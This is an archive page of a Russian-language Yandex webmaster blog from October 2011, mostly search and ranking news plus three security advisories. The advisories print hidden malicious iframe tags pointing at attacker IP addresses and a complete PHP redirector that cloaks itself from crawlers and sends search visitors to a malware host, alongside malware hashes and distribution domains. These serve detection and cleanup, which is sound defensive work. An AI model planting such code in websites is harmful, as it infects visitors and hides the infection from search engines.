Блог Яндекса для вебмастеров

октябрь 2011
Яндекс начинает учитывать юзабилити сайтов
5 октября 2011, 15:17

Качество сайта во многом зависит от его удобства в использовании, называемом также «юзабилити» (от англ. usability). Чем удобнее сайт, тем быстрее и проще посетитель может достичь своей цели — например, найти нужную ему информацию или сделать заказ. Неудобный сайт пользователи быстро покидают в поисках более качественных ресурсов с аналогичным содержанием.

Основные проблемы юзабилити сайтов — это отсутствие хорошей навигации, сложная или запутанная структура, неудачное расположение элементов сайта, неуместное использование рекламы. Чтобы пользователи поиска могли легко получить ответ на свой вопрос, мы начинаем учитывать при ранжировании сайтов их удобство.

В качестве первого шага мы научили поиск определять, мешает ли пользователям реклама на сайте или, наоборот, дополняет его содержание. Формула ранжирования пополнилась ещё несколькими факторами. Теперь она учитывает, например, затрудняет ли реклама доступ к основному контенту, перекрывает ли она текст, остаётся ли сайт с такой рекламой популярным. И ресурсы, на которых реклама используется уместно, оказываются в результатах поиска выше, чем сайты, на которых реклама мешает пользователям.

Чтобы вашим сайтом было удобно пользоваться, нужно обратить внимание на несколько важных моментов. Прежде всего, у сайта должна быть логичная структура, понятная система навигации и интерфейс. Основное место на сайте нужно отвести той информации, ради которой он и был создан. Реклама не должна мешать воспринимать содержание сайта, её роль – дополнять основной контент. Лучше отказаться от всплывающих окон или использовать их так, чтобы посетитель мог быстро их закрыть.  Если ваш сайт будет удобным, пользователи оценят его по достоинству и будут возвращаться на него снова и снова.


Команда Поиска

282 комментария
реклама,ранжирование
Новое в поиске (сентябрь 2011)
7 октября 2011, 16:55

Рады поделиться традиционной подборкой поисковых новостей за прошедший месяц.

Самым долгожданным в сентябре для нас был запуск портала в Турции: yandex.com.tr. Мы сделали поиск специально для турецких пользователей: постарались учесть культуру страны и, конечно, ее язык – наш поиск поддерживает морфологию турецкого. Кроме поиска по страницам интернета, на портале работают и другие виды поиска – например, по картинкам, видео и новостям.

Запуск Яндекса в Турции – это результат слаженной работы десятков команд. Разумеется, мы планируем и дальше развивать турецкий поиск. Впрочем, как и все остальные направления – работа по ним никогда не останавливается, и мы расскажем о самом важном.

В этом месяце мы работали над поисковыми формулами, в частности, обновили формулу в Казахстане.

Начал работу новый поисковый алгоритм, влияющий на ранжирование страниц с переоптимизированными текстами.

На странице результатов поиска могут показываться несколько ответов из одного источника. Мы стремимся, чтобы поисковая выдача была разнообразной и релевантной запросу. Недавно мы разработали новый алгоритм, с помощью которого можно точнее предполагать, что предоставление нескольких релевантных ответов с одного сайта лучше, чем ответ разными источниками. Например, это касается запросов, явно связанных с поиском на конкретном сайте или тех случаев, когда на запрос пользователя отвечают несколько разделов сайта.

Мы подготовили и поделились информацией о статистике CMS зараженных сайтов и рекомендациями по защите ваших сайтов, созданных на CMS.

А еще напомнили о существующих правилах обработки директивы allow файла robots.txt и рассказали о том, что планируем изменить в обработке этой директивы в ближайшем будущем.

Хотим отметить и новое в нашем мобильном поиске.

Мы запустили «Поиск мобильных приложений»: теперь вы можете найти приложения в AppStore и Android Market, даже не зная их точного названия.

Обновился поисковый виджет для Android, теперь в нем есть три вида поиска: голосовой (достаточно нажать на кнопку «микрофон» и сообщить виджету, что вы хотите найти), по внутренним данным телефона и по сервисам Яндекса.

Для новой платформы Windows Phone 7 разработано приложение Яндекса, в котором работает поиск, а также есть светофор пробок, прогноз погоды, курс валют, главные новости и киноафиша.

 

Команда поиска

14 комментариев
новое в поиске
Вредоносный фрейм Mal/Iframe-X
8 октября 2011, 09:04
В последнее время наша система существенно чаще, чем обычно, находит сайты с вредоносным кодом, который относится к Mal/Iframe-X по классификации компании Sophos. Рекомендуем вам проверить, нет ли на страницах ваших сайтов подобного вредоносного кода.

В последнее время наша система существенно чаще, чем обычно, находит сайты с вредоносным кодом, который относится к Mal/Iframe-X по классификации компании Sophos. Динамика числа уникальных хостов, заражённых данным вредоносным кодом, выглядит так:



Признаком заражения страницы Mal/Iframe-X является обнаружение в DOM тега IFRAME, в который загружается браузерный вредоносный код. Примерно в 75% случаев это происходит при прописывании этого тега непосредственно в HTML-коде страницы, в оставшихся 25% – при выполнении в контексте браузера специального JavaScript-файла, который дописывает тег в код страницы.


  • Пример вредоносного кода в HTML-страницах:

    <iframe frameborder=0 src="http://64.247.185.149/Home/index.php" width=1 height=1 scrolling=no>
  • Пример вредоносного кода в JavaScript-файлах:

    document.write('<iframe frameborder=0 src="http://65.75.160.235/Home/index.php" width=1 height=1 scrolling=no>)
  • В атрибуте SRC вредоносного IFRAME практически всегда содержится URL вида:

    http://IP_ADDRESS/Home/index.php
    где IP_ADDRESS - это IP-адрес сервера злоумышленников, с которого подгружается основная часть  вредоносного кода.


Как видно из графика ниже, особой популярностью у злоумышленников, распространяющих  код Mal/Iframe-X, пользуются сайты в доменной зоне COM. Доли доменных зон выглядят следующим образом:



Для распространения основной части вредоносного кода злоумышленники используют серверы с различными IP-адресами, но примерно в четверти случаев это IP-адрес 64.247.185.149&. Доли серверов злоумышленников, которые участвуют в заражении, выглядят следующим образом:



Упрощённая схема работы Mal/Iframe-X выглядит так:




Рекомендации

Рекомендуем вам проверить, нет ли на страницах ваших сайтов подобного вредоносного кода. Если вы не знаете, является ли ваш сайт источником распространения вредоносного кода, или о сайте известно, что он заражён, но непонятно, что это за вредоносный код и как от него избавиться – вы можете зарегистрироваться на сервисе Яндекс.Вебмастер, с помощью которого можно посмотреть детальную информацию о заражении, рекомендации по его лечению, а также запустить внеочередную перепроверку сайта.

Дополнительная информация о том, как обезопасить сайт и компьютер в интернете, содержится в статьях:
6 комментариев
безопасность,вирусы
Улучшенные сниппеты для партнеров Яндекс.Словарей
12 октября 2011, 14:59

У Яндекса существуют партнерские программы по передаче данных в сервисы, а также способы улучшить сниппеты сайта в поиске. Мы много писали об этом и рассказывали на конференциях. Статьи и новости о программах вы можете найти по тегу «Содержимое сайта», а актуальный список программ и направлений смотрите в Яндекс.Вебмастере.

Для онлайн-энциклопедий и сайтов со словарным контентом действует партнерская программа сервиса Яндекс.Словари, с помощью которой владелец сайта может разместить на сервисе контент со своего сайта и получать дополнительных заинтересованных посетителей. На Словарях публикуется фрагмент статьи, а за прочтением пользователи переходят на сайт-источник.

Теперь у участников программы появилась дополнительная возможность – сделать сниппеты словарно-энциклопедических статей более красивыми и понятными. Наши исследования показывают, что такие сниппеты лучше читаются и воспринимаются пользователями, а относительный CTR улучшенных сниппетов партнерских сайтов выше обычных на 10%.

Сниппет без использования семантической разметки:


Сниппет с использованием семантической разметки:



Что изменилось
Для словарных статей, использующих семантическую разметку, сниппет строится из начала текста статьи, а не из произвольных фрагментов текста со страницы, что делает такое описание более понятным для пользователей.

Как принять участие
Для того чтобы принять участие в программе, владельцам сайтов со словарно-энциклопедическим необходимо разметить сайт семантической разметкой и добавить его в партнерскую программу «Словари» в Яндекс.Вебмастер, раздел «Содержимое сайта».
Подробную информацию о правилах и условиях участия в партнерской программе вы найдете в Помощи.

Команды Поиска и Словарей

3 комментария
содержимое сайта
Про вредоносный редиректор на osa.pl
17 октября 2011, 15:44
Злоумышленники нередко взламывают сайты для того, чтобы разместить на них "редиректоры" - ПО, которое автоматически перенаправляет браузер пользователя на подконтрольные злоумышленникам веб-серверы. В результате зараженный сайт становится частью системы распространения вредоносного кода. В опубликованной статье можно узнать о мерах, которые применяются к сайтам с таким кодом.

Злоумышленники нередко взламывают сайты для того, чтобы разместить на них редиректоры — ПО, которое автоматически перенаправляет браузер пользователя на подконтрольные злоумышленникам веб-серверы. В результате зараженный сайт становится частью их системы распространения вредоносного кода.


Когда Безопасный Поиск Яндекса обнаруживает такие редиректоры, к содержащим их сайтам применяются следующие меры:

  • В результатах поиска сайт отображается с пометкой о том, что он представляет опасность для пользователя, и количество переходов на него с поисковой выдачи снижается в 50-100 раз.
  • Браузеры, использующие Safe Browsing API Яндекса, также предупреждают пользователей, что страница представляет опасность, даже когда  переход на зараженный ресурс происходит не с поисковой выдачи. Это ещё сильнее снижает посещаемость сайта.
  • Если владельцы взломанного ресурса не устранили проблему, сайт совсем убирается из результатов поиска, т.к. постоянное перенаправление (редирект) на другой сайт, по сути, превращает этот ресурс в дорвей, который не даёт ответов на вопросы, задаваемые пользователями.

Подобные проблемы часто возникают из-за заражения скриптов популярных CMS веб-серверным вредоносным кодом. Наиболее популярным в настоящее время является следующий код:


error_reporting( 0 );
$qazplm=headers_sent(  );
if ( !$qazplm ) {
$referer = $_SERVER[ 'HTTP_REFERER' ];
$uag = $_SERVER[ 'HTTP_USER_AGENT' ];
if ( $uag and !stristr( $uag, "StackRambler" ) and
    !stristr( $uag, "aport" ) and
    !stristr( $uag, "WebAlta" ) and
    !stristr( $uag, "aport" ) and
    !stristr( $uag, "compatible; Yandex" ) and
    !stristr( $uag, "dyatel" ) ) {
if ( stristr( $referer, "yandex" ) or
     stristr( $referer, "yahoo" ) or
     stristr( $referer, "google" ) or
     stristr( $referer, "bing" ) or
     stristr( $referer, "rambler" ) or
     stristr( $referer, "gogo" ) or
     stristr( $referer, "live" )  or
     stristr( $referer, "aport" ) or
     stristr( $referer, "nigma" ) or
     stristr( $referer, "webalta" ) or
     stristr( $referer, "meta.ua" ) or
     stristr( $referer, "bigmir.net" ) or
     stristr( $referer, "tut.by" ) or
     stristr( $referer, "ukr.net" ) or
     stristr( $referer, "poisk.ru" ) or
     stristr( $referer, "liveinternet.ru" ) or
     stristr( $referer, "gde.ru" ) or
     stristr( $referer, "quintura.ru" ) or
     stristr( $referer, "qip.ru" ) or
     stristr( $referer, "mail.ru" ) or
     stristr( $referer, "metabot.ru" ) ) {
     if ( !stristr( $referer, "cache" ) or
          !stristr( $referer, "inurl" ) ) {
              header( "Location: http://malwarehost/malwarepath/" );
              exit(  );
   }
  }
}
}

где:
  • malwarehost — хост, который распространяет вредоносное ПО;
  • malwarepath — директория на хосте, который распространяет вредоносное ПО.

Этот код обычно присутствует в PHP-файлах и может быть обфусцирован (закодирован).



Алгоритм работы вредоносного кода

  1. Сначала вызов функции error_reporting(0) отключает вывод ошибок при выполнении скрипта, так что даже если в веб-серверном вредоносном коде произойдет ошибка, то посетивший страницу пользователь ничего не увидит.
    Далее вызовом функции headers_sent(…) проверяется, был ли клиенту отправлен ответ с HTTP-заголовками. Если нет, то происходит получение Referer и User-Agent.
  2. После этого поиском соответствующей подстроки в значении User-Agent проверяется, не бот ли посещает страницу.
  3. Если это не бот, то проверяется, пришел ли он с одной из поисковых систем, приведенных ниже:

    www.yandex.ru;
    www.yahoo.com;
    www.google.com;
    www.bing.com;
    www.rambler.ru;
    www.gogo.ru;
    www.live.com;
    www.aport.ru;
    www.nigma.ru;
    www.webalta.ru;
    www.meta.ua;
    www.bigmir.net;
    www.tut.by;
    www.ukr.net;
    www.poisk.ru;
    www.liveinternet.ru;
    www.gde.ru;
    www.quintura.ru;
    www.qip.ru;
    www.mail.ru;
    www.metabot.ru

  4. Если пользователь перешёл на заражённый сайт с одной из указанных выше поисковых систем, и при этом он не просматривает сохранённую копию страницы в кэше поисковой системы, то выполняется перенаправление пользователя на сайт,  указанный в вызове функции header().


  5. Статистика распространения


    Всего Яндексу известно более 800 зараженных уникальных хостов, которые являются редиректорами на osa.pl. Пик распространения вредоносного кода пришелся на 20.09.2011. Общая динамика заражения приведена ниже:

    Чаще всего этот код находится на сайтах, доменное имя которых расположено в зоне RU:

    На домене osa.pl есть несколько поддоменов, которые являются промежуточными звеньями в цепочках распространения вредоносного кода. Статистика по использованию этих поддоменов такова:

    Сайты с некоторыми CMS заражают редиректорами на osa.pl чаще, чем другие:

    Распространяемое вредоносное ПО


    Вредоносное ПО, распространяемое через эти редиректы, на 28.09.2011 детектировали всего 4 антивируса из 43 (по данным VirusTotal.com).

    Хеши семпла:

    • MD5: c4d0e04e521dd8d920cb644b4075c6f0;
    • SHA1: 2fa568a42c04f6647fa5808bf8fdfd405aced9c3;
    • SHA256: 428262fa0edbee619df2913beaf0e22abcd6e67408db892bc275292526d3157f.


    Распространяемое вредоносное ПО часто представляет собой фальшивый антивирус. Для автоматического запуска во время загрузки ОС оно прописывает себя в ветку реестра: 

    HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce


    Пользовательский интерфейс этого фальшивого антивируса выглядит так:



    Никакого отношения к настоящим антивирусам данное вредоносное ПО, разумеется, не имеет.


    Рекомендации


    Рекомендации по обеспечению безопасности вашего сайта аналогичны приведённым в предыдущей статье.

    Кроме того, обязательно проверяйте свой сайт на наличие вредоносного кода в auto_prepend_file и конструкции, связанные с обработкой ошибок.

    Команда безопасного поиска Яндекса


3 комментария
безопасность,вирусы
Распространение вредоносных программ через счётчики партнёрской программы
24 октября 2011, 19:18
Один из способов заработать на своём сайте – стать участником партнёрской программы по обмену трафиком и установить на свои страницы счётчик, за показ которого можно получать деньги. К сожалению, веб-мастера не всегда задумываются о том, что контент, подгружаемый из непроверенных источников, может вредить пользователям.

Не все партнёрские программы способны гарантировать безопасность распространяемого через них контента, а некоторые из них целенаправленно используются злоумышленниками, чтобы заражать компьютеры посетителей сайтов-партнёров. В этом случае кратковременный заработок веб-мастера, участвующего в партнёрской программе, может привести к заметному снижению посещаемости его сайта.Один из способов заработать на своём сайте – стать участником партнёрской программы по обмену трафиком и установить на свои страницы счётчик, за показ которого можно получать деньги. К сожалению, вебмастеры не всегда задумываются о том, что контент, подгружаемый из непроверенных источников, может вредить пользователям.

Не все партнёрские программы способны гарантировать безопасность распространяемого через них контента, а некоторые из них целенаправленно используются злоумышленниками, чтобы заражать компьютеры посетителей сайтов-партнёров. В этом случае кратковременный заработок вебмастера, участвующего в партнёрской программе, может привести к заметному снижению посещаемости его сайта.

Мы уже описывали проблему, вызванную партнёрскими программами для выкупа IFRAME-трафика, построенными на CMS AdminStation. В этом посте мы хотели бы обратить внимание на проблему распространения вредоносного кода через счётчик одной из бирж трафика, которые тогда использовали AdminStation – партнёрской программы traffbiz.ru.

Партнёрская система traffbiz.ru позволяет продавать и покупать трафик. Для этого вебмастер должен зарегистрироваться в системе и на специальной странице  добавить в неё свой сайт. В дальнейшем ему предлагается выбрать счётчик и установить на страницы своего сайта код, который в некоторых случаях ведёт себя как вредоносный. Интерфейс выбора вредоносного счётчика выглядит так:



В настоящее время Яндексу известно более 4100 сайтов, которые используют traffbiz.ru и добавили код таких счётчиков на свои страницы.

Код с traffbiz.ru работает следующим образом:
  1. JavaScript №1 из кода счётчика при выполнении дописывает на страницу JavaScript №2;
  2. JavaScript №2 при выполнении подгружает на страницу JavaScript №3;
  3. JavaScript №3 отображает счётчик или баннер;
  4. JavaScript №3 (в некоторых случаях) подгружает и запускает вредоносный код.

В распространении вредоносного кода через счётчики traffbiz.ru за последние две недели были замечены следующие хосты:

  • 1sbiz.ru;
  • 4sbiz.ru;
  • 5sbiz.ru;
  • 8sbiz.ru;
  • 9sbiz.ru;
  • 10sbiz.ru;
  • countbiz.ru;
  • frps.homeftp.org;
  • google.webhop.info;
  • manager.dyndns.info;
  • traffbiz.is-by.us.

Вредоносный код, распространяемый через счётчики traffbiz.ru, пытается использовать уязвимости в популярных браузерах и их плагинах. При использовании хотя бы одной из уязвимостей на компьютер пользователя загружается и устанавливается вредоносная программа.

Вредоносное ПО, которое распространятся через счётчики traffbiz.ru, является троянской программой-формграббером. Она собирает банковскую информацию, вводимую пользователем, например учётные записи в системах банк-клиент, и передает ее злоумышленникам. В результате злоумышленники могут получить доступ к банковским счётам пользователей и совершать с ними операции.

Троянская программа имеет следующие контрольные суммы (хеши):
  • MD5: 6d3d8bb5be70d1268e6b817c9129a444;
  • SHA1: 1202e1ae935c2c35baad26345685063c22c9ffd5;
  • SHA256: 13d4948b35f57d9c25f9a7cb21443084df75fa409379c358ea6b662fd300c251.

По классификации компании Symantec, эта троянская программа имеет название Carberp. По функциональности найденная версия похожа на описанную нами раньше. При этом, по данным сайта VirusTotal.com, на 04.10.2011 она не детектировалась ни одним из 43 антивирусов, представленных на сайте, а 11.10.2011 – уже 16 антивирусами.

Возможно, ситуация с детектированием 04.10.2011 была вызвана тем, что код троянской программы был зашифрован, т.к. после расшифровки 04.10.2011 на VirusTotal.com её детектировали 15 антивирусов из 43, а 11.10.2011 – уже 29.


Рекомендации


В целом, рекомендации для вебмастеров аналогичны тем, которые приведены здесь. Важно помнить: когда вебмастер размещает на своём сайте чужой, динамически подгружаемый контент, он теряет часть контроля над тем, что будет передаваться на компьютер пользователя при посещении его сайта.

Поэтому к выбору партнёрских программ и рекламных сетей нужно подходить очень тщательно. Обращайте внимание на то, как их владельцы относятся к безопасности,  проверяют ли распространяемый через их систему контент, выясняйте, почему они платят за показы больше других.

Злоумышленники часто используют партнёрские программы для распространения вредоносного кода. Поэтому если партнёрская программа дорожит клиентами, партнёрами и репутацией, то её создателям рекомендуется проверять размещаемый рекламный контент и ссылки на сайты на наличие вредоносного содержимого. В частности, для такой проверки можно использовать информацию о заражённых сайтах, доступную через Safe Browsing API Яндекса.

Команда безопасного поиска Яндекса

3 комментария
безопасность,вирусы
Валидатор XML-фидов в Яндекс.Вебмастере
25 октября 2011, 15:10

У владельцев сайтов существуют различные способы передать информацию Яндексу. Для ряда партнерских программ передача данных осуществляется с помощью XML-фида. Этот фид необходимо самостоятельно сформировать и указать в форме соответствующей партнерской программы в Яндекс.Вебмастере.

Формат XML-фида описывается с помощью специального файла – XSD-схемы. Он описывает теги и атрибуты, которые могут содержаться в фиде, их порядок и вложенность. Существует большое количество инструментов, позволяющих проверить XML-фид на соответствие XSD схеме, однако обычно для этого требуется установка дополнительного ПО.

Мы запустили помощник для всех участников партнерских программ, использующих XML-фид – валидатор XML-фидов. Валидатор поможет проверить правильность формата XML-фидов и позволит вашим данным быстрее попасть в базы партнерских программ Яндекса.

Вы можете проверить соответствие ваших XML-файлов как по стандартным схемам партнерских программ, так и произвольным, выбрав «другие схемы» в списке схем валидации.


Настоятельно рекомендуем проводить проверку XML-фидов до передачи в Яндекс. Таким образом, вы будете уверены, что ваш фид не содержит ошибок, а мы будем рады разместить ваши данные.

Список партнерских программ по передаче данных в сервисы Яндекса, где используются XML-фиды:

Товары и цены – специальные сниппеты для интернет-магазинов с ценой товара и условиями доставки
Кулинарные рецепты – структурированные сниппеты с ингредиентами или фото-рецептами
Недвижимость – объявления о недвижимости с вашего сайта на сервисе Яндекс.Недвижимость
Вакансии – объявления с вашего сайта на сервисе Яндекс.Работа
Автомобили – автообъявления с вашего сайта на сервиса Яндекс.Авто
Вклады и кредиты – информация о банковских продуктах с вашего сайта на сервисе Яндекс.Услуги
Рефераты – структурированные сниппеты для сайтов с рефератами и письменными работами



Команда Яндекс.Вебмастера, делаем сложное простым

25 комментариев
содержимое сайта,Я.Вебмастер